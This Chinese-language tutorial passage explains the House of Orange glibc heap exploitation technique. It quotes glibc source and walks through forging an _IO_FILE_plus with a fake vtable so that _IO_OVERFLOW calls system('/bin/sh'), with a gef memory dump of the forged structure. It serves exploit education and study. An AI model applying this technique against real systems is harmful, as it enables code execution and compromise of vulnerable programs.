__libc_message (action & 2, "%s\n", str);
|
||
else if (action & 1)
|
||
{
|
||
char buf[2 * sizeof (uintptr_t) + 1];
|
||
|
||
buf[sizeof (buf) - 1] = '\0';
|
||
char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0);
|
||
while (cp > buf)
|
||
*--cp = '0';
|
||
|
||
__libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",
|
||
__libc_argv[0] ? : "<unknown>", str, cp);
|
||
}
|
||
else if (action & 2)
|
||
abort ();
|
||
}
|
||
```
|
||
调用 `__libc_message`:
|
||
```c
|
||
// sysdeps/posix/libc_fatal.c
|
||
/* Abort with an error message. */
|
||
void
|
||
__libc_message (int do_abort, const char *fmt, ...)
|
||
{
|
||
[...]
|
||
if (do_abort)
|
||
{
|
||
BEFORE_ABORT (do_abort, written, fd);
|
||
|
||
/* Kill the application. */
|
||
abort ();
|
||
}
|
||
}
|
||
```
|
||
`do_abort` 调用 `fflush`,即 `_IO_flush_all_lockp`:
|
||
```c
|
||
// stdlib/abort.c
|
||
#define fflush(s) _IO_flush_all_lockp (0)
|
||
|
||
if (stage == 1)
|
||
{
|
||
++stage;
|
||
fflush (NULL);
|
||
}
|
||
```
|
||
```c
|
||
// libio/genops.c
|
||
int
|
||
_IO_flush_all_lockp (int do_lock)
|
||
{
|
||
int result = 0;
|
||
struct _IO_FILE *fp;
|
||
int last_stamp;
|
||
|
||
#ifdef _IO_MTSAFE_IO
|
||
__libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
|
||
if (do_lock)
|
||
_IO_lock_lock (list_all_lock);
|
||
#endif
|
||
|
||
last_stamp = _IO_list_all_stamp;
|
||
fp = (_IO_FILE *) _IO_list_all; // 将其覆盖
|
||
while (fp != NULL)
|
||
{
|
||
run_fp = fp;
|
||
if (do_lock)
|
||
_IO_flockfile (fp);
|
||
|
||
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|
||
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|
||
|| (_IO_vtable_offset (fp) == 0
|
||
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
|
||
> fp->_wide_data->_IO_write_base))
|
||
#endif
|
||
)
|
||
&& _IO_OVERFLOW (fp, EOF) == EOF) // 将其修改为 system 函数
|
||
result = EOF;
|
||
|
||
if (do_lock)
|
||
_IO_funlockfile (fp);
|
||
run_fp = NULL;
|
||
|
||
if (last_stamp != _IO_list_all_stamp)
|
||
{
|
||
/* Something was added to the list. Start all over again. */
|
||
fp = (_IO_FILE *) _IO_list_all;
|
||
last_stamp = _IO_list_all_stamp;
|
||
}
|
||
else
|
||
fp = fp->_chain; // 指向我们指定的区域
|
||
}
|
||
|
||
#ifdef _IO_MTSAFE_IO
|
||
if (do_lock)
|
||
_IO_lock_unlock (list_all_lock);
|
||
__libc_cleanup_region_end (0);
|
||
#endif
|
||
|
||
return result;
|
||
}
|
||
```
|
||
`_IO_list_all` 是一个 `_IO_FILE_plus` 类型的对象,我们的目的就是将 `_IO_list_all` 指针改写为一个伪造的指针,它的 `_IO_OVERFLOW` 指向 system,并且前 8 字节被设置为 '/bin/sh',所以对 `_IO_OVERFLOW(fp, EOF)` 的调用会变成对 `system('/bin/sh')` 的调用。
|
||
```c
|
||
// libio/libioP.h
|
||
/* We always allocate an extra word following an _IO_FILE.
|
||
This contains a pointer to the function jump table used.
|
||
This is for compatibility with C++ streambuf; the word can
|
||
be used to smash to a pointer to a virtual function table. */
|
||
|
||
struct _IO_FILE_plus
|
||
{
|
||
_IO_FILE file;
|
||
const struct _IO_jump_t *vtable;
|
||
};
|
||
|
||
// libio/libio.h
|
||
struct _IO_FILE {
|
||
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
|
||
#define _IO_file_flags _flags
|
||
|
||
/* The following pointers correspond to the C++ streambuf protocol. */
|
||
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
|
||
char* _IO_read_ptr; /* Current read pointer */
|
||
char* _IO_read_end; /* End of get area. */
|
||
char* _IO_read_base; /* Start of putback+get area. */
|
||
char* _IO_write_base; /* Start of put area. */
|
||
char* _IO_write_ptr; /* Current put pointer. */
|
||
char* _IO_write_end; /* End of put area. */
|
||
char* _IO_buf_base; /* Start of reserve area. */
|
||
char* _IO_buf_end; /* End of reserve area. */
|
||
/* The following fields are used to support backing up and undo. */
|
||
char *_IO_save_base; /* Pointer to start of non-current get area. */
|
||
char *_IO_backup_base; /* Pointer to first valid character of backup area */
|
||
char *_IO_save_end; /* Pointer to end of non-current get area. */
|
||
|
||
struct _IO_marker *_markers;
|
||
|
||
struct _IO_FILE *_chain;
|
||
|
||
int _fileno;
|
||
#if 0
|
||
int _blksize;
|
||
#else
|
||
int _flags2;
|
||
#endif
|
||
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
|
||
|
||
#define __HAVE_COLUMN /* temporary */
|
||
/* 1+column number of pbase(); 0 is unknown. */
|
||
unsigned short _cur_column;
|
||
signed char _vtable_offset;
|
||
char _shortbuf[1];
|
||
|
||
/* char* _save_gptr; char* _save_egptr; */
|
||
|
||
_IO_lock_t *_lock;
|
||
#ifdef _IO_USE_OLD_IO_FILE
|
||
};
|
||
```
|
||
其中有一个指向函数跳转表的指针,`_IO_jump_t` 的结构如下:
|
||
```c
|
||
// libio/libioP.h
|
||
struct _IO_jump_t
|
||
{
|
||
JUMP_FIELD(size_t, __dummy);
|
||
JUMP_FIELD(size_t, __dummy2);
|
||
JUMP_FIELD(_IO_finish_t, __finish);
|
||
JUMP_FIELD(_IO_overflow_t, __overflow);
|
||
JUMP_FIELD(_IO_underflow_t, __underflow);
|
||
JUMP_FIELD(_IO_underflow_t, __uflow);
|
||
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
|
||
/* showmany */
|
||
JUMP_FIELD(_IO_xsputn_t, __xsputn);
|
||
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
|
||
JUMP_FIELD(_IO_seekoff_t, __seekoff);
|
||
JUMP_FIELD(_IO_seekpos_t, __seekpos);
|
||
JUMP_FIELD(_IO_setbuf_t, __setbuf);
|
||
JUMP_FIELD(_IO_sync_t, __sync);
|
||
JUMP_FIELD(_IO_doallocate_t, __doallocate);
|
||
JUMP_FIELD(_IO_read_t, __read);
|
||
JUMP_FIELD(_IO_write_t, __write);
|
||
JUMP_FIELD(_IO_seek_t, __seek);
|
||
JUMP_FIELD(_IO_close_t, __close);
|
||
JUMP_FIELD(_IO_stat_t, __stat);
|
||
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
|
||
JUMP_FIELD(_IO_imbue_t, __imbue);
|
||
#if 0
|
||
get_column;
|
||
set_column;
|
||
#endif
|
||
};
|
||
```
|
||
伪造 `_IO_jump_t` 中的 `__overflow` 为 system 函数的地址,从而达到执行 shell 的目的。另外,
|
||
|
||
当发生内存错误进入 `_IO_flush_all_lockp` 后,`_IO_list_all` 仍然指向 unsorted bin,这并不是一个我们能控制的地址。所以需要通过 `fp->_chain` 来将 fp 指向我们能控制的地方。所以将 size 字段设置为 0x61,因为此时 `_IO_list_all` 是 `&unsorted_bin-0x10`,偏移 0x60 位置处是 smallbins[4](或者说 bins[6])。此时,如果触发一个不适合的 small chunk 分配,malloc 就会将 old top 从 unsorted bin 放回 smallbins[4] 中。而在 `_IO_FILE` 结构中,偏移 0x60 指向 `struct _IO_marker *_markers`,偏移 0x68 指向 `struct _IO_FILE *_chain`,这两个值正好是 old top 的起始地址。这样 fp 就指向了 old top,这是一个我们能够控制的地址。
|
||
|
||
在将 `_IO_OVERFLOW` 修改为 system 的时候,有一些条件检查:
|
||
```c
|
||
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|
||
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|
||
|| (_IO_vtable_offset (fp) == 0
|
||
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
|
||
> fp->_wide_data->_IO_write_base))
|
||
#endif
|
||
)
|
||
&& _IO_OVERFLOW (fp, EOF) == EOF) // 需要修改为 system 函数
|
||
```
|
||
```c
|
||
// libio/libio.h
|
||
|
||
struct _IO_wide_data *_wide_data;
|
||
|
||
/* Extra data for wide character streams. */
|
||
struct _IO_wide_data
|
||
{
|
||
wchar_t *_IO_read_ptr; /* Current read pointer */
|
||
wchar_t *_IO_read_end; /* End of get area. */
|
||
wchar_t *_IO_read_base; /* Start of putback+get area. */
|
||
wchar_t *_IO_write_base; /* Start of put area. */
|
||
wchar_t *_IO_write_ptr; /* Current put pointer. */
|
||
wchar_t *_IO_write_end; /* End of put area. */
|
||
wchar_t *_IO_buf_base; /* Start of reserve area. */
|
||
wchar_t *_IO_buf_end; /* End of reserve area. */
|
||
/* The following fields are used to support backing up and undo. */
|
||
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
|
||
wchar_t *_IO_backup_base; /* Pointer to first valid character of
|
||
backup area */
|
||
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
|
||
|
||
__mbstate_t _IO_state;
|
||
__mbstate_t _IO_last_state;
|
||
struct _IO_codecvt _codecvt;
|
||
|
||
wchar_t _shortbuf[1];
|
||
|
||
const struct _IO_jump_t *_wide_vtable;
|
||
};
|
||
```
|
||
所以这里我们设置 `fp->_mode = 0`,`fp->_IO_write_base = (char *) 2` 和 `fp->_IO_write_ptr = (char *) 3`,从而绕过检查。
|
||
|
||
然后,就是修改 `_IO_jump_t`,将其指向 winner:
|
||
```
|
||
gef➤ x/30gx p1-0x10+0x400
|
||
0x602400: 0x0068732f6e69622f 0x0000000000000061 <-- old top
|
||
0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510 <-- bk points to io_list_all-0x10
|
||
0x602420: 0x0000000000000002 0x0000000000000003 <-- _IO_write_base, _IO_write_ptr
|
||
0x602430: 0x0000000000000000 0x0000000000000000
|
||
0x602440: 0x0000000000000000 0x0000000000000000
|
||
0x602450: 0x0000000000000000 0x0000000000000000
|
||
0x602460: 0x0000000000000000 0x0000000000000000
|
||
0x602470: 0x0000000000000000 0x00000000004006d3 <-- winner
|
||
0x602480: 0x0000000000000000 0x0000000000000000
|
||
0x602490: 0x0000000000000000 0x0000000000000000
|
||
0x6024a0: 0x0000000000000000 0x0000000000000000
|
||
0x6024b0: 0x0000000000000000 0x0000000000000000
|
||
0x6024c0: 0x0000000000000000 0x0000000000000000
|
||
0x6024d0: 0x0000000000000000 0x0000000000602460 <-- vtable
|
||
0x6024e0: 0x0000000000000000 0x0000000000000000
|
||
gef➤ p *((struct _IO_FILE_plus *) 0x602400)
|
||
$1 = {
|
||
file = {
|
||
_flags = 0x6e69622f,
|
||
_IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
|
||
_IO_read_end = 0x7ffff7dd1b78 <main_arena+88> "\020@b",
|
||
_IO_read_base = 0x7ffff7dd2510 "",
|
||
_IO_write_base = 0x2 <error: Cannot access memory at address 0x2>,
|
||
_IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>,
|
||
_IO_write_end = 0x0,
|
||
_IO_buf_base = 0x0,
|
||
_IO_buf_end = 0x0,
|
||
_IO_save_base = 0x0,
|
||
_IO_backup_base = 0x0,
|
||
_IO_save_end = 0x0,
|
||
_markers = 0x0,
|
||
_chain = 0x0,
|
||
_fileno = 0x0,
|
||
_flags2 = 0x0,
|
||
_old_offset = 0x4006d3,
|
||
_cur_column = 0x0,
|
||
_vtable_offset = 0x0,
|
||
_shortbuf = "",
|
||
_lock = 0x0,
|
||
_offset = 0x0,
|
||
_codecvt = 0x0,
|
||
_wide_data = 0x0,
|
||
_freeres_list = 0x0,
|
||
_freeres_buf = 0x0,
|
||
__pad5 = 0x0,
|
||
_mode = 0x0,
|
||
_unused2 = '\000' <repeats 19 times>
|
||
},
|
||
vtable = 0x602460
|
||
}
|
||
```
|
||
|
||
最后随意分配一个 chunk,由于 `size<= 2*SIZE_SZ`,所以会触发 `_IO_flush_all_lockp` 中的 `_IO_OVERFLOW` 函数,获得 shell。
|
||
```c
|
||
for (;; )
|
||
{
|
||
int iters = 0;
|
||
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
|
||
{
|
||
bck = victim->bk;
|
||
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|
||
|| __builtin_expect (victim->size > av->system_mem, 0))
|
||
malloc_printerr (check_action, "malloc(): memory corruption",
|
||
chunk2mem (victim), av);
|
||
size = chunksize (victim);
|
||
```
|
||
|
||
到此,how2heap 里全部的堆利用方法就全部讲完了。
|
||
|
||
|
||
## 参考资料
|
||
- [abusing the FILE structure](https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/)
|
||
- [House of Orange](https://www.lazenca.net/display/TEC/House+of+Orange#HouseofOrange-Sourcecode)
|
||
- [house_of_orange](http://blog.leanote.com/post/3191220142@qq.com/house_of_orange)
|